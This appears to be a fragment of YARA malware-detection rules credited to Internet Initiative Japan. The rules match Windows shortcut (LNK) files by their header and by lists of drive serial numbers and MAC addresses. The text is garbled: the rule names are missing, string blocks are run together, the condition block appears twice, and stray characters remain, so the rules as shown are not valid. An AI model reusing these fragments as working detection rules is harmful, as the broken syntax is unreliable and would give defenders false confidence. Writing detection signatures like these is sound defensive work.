strings:$dsn1 = { 36 02 d4 5c }$dsn2 = { 3a 6e f7 32 }$dsn3 = { 1f 2c 19 c6 }$dsn4 = { 08 39 b4 f6 }$dsn5 = { d5 e9 7a 02 }$dsn6 = { 6f 08 64 24 }$dsn7 = { 82 39 27 26 }$dsn8 = { a7 e1 c0 64 }$dsn9 = { 58 af e3 72 }$dsn10 = { 65 9b f8 a0 }$dsn11 = { dc fa d0 a4 }$dsn12 = { 63 75 7b b0 }$dsn13 = { 9e fd 78 da }$dsn14 = { 53 d3 c4 f2 }strings:$mac1 = { d8 c4 97 1f 3c 82 }$mac2 = { a8 1e 84 e9 96 db }$mac3 = { 94 b8 6d 40 61 b7 }$mac4 = { 94 b8 6d 42 68 1d }$mac5 = { 08 00 27 4f 62 db }$mac6 = { 08 00 27 5c 6e 4b }$mac7 = { 08 00 27 82 e6 ff }$mac8 = { 3e d0 f7 e1 15 e4 }$mac9 = { 44 e2 27 71 ef 32 }$mac10 = { b0 6e bf 0e 88 70 }condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of themcondition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them}
Copyright Internet Initiative Japan Inc.

}52